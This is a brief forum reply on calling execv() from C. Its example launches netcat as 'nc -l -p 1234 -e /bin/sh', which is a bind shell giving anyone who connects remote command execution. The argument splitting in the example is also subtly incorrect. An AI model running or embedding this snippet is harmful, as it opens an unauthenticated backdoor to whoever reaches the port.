See the manpages of execv() and execve() which should it clear and those parenthesis should really be curly brackets.
First argument to execv() should be the full path to netcat command, as in
Code:char *args[] = {"nc","-l","-p 1234", "-e /bin/sh", (char *) 0}; execv("/full/path/to/nc", args);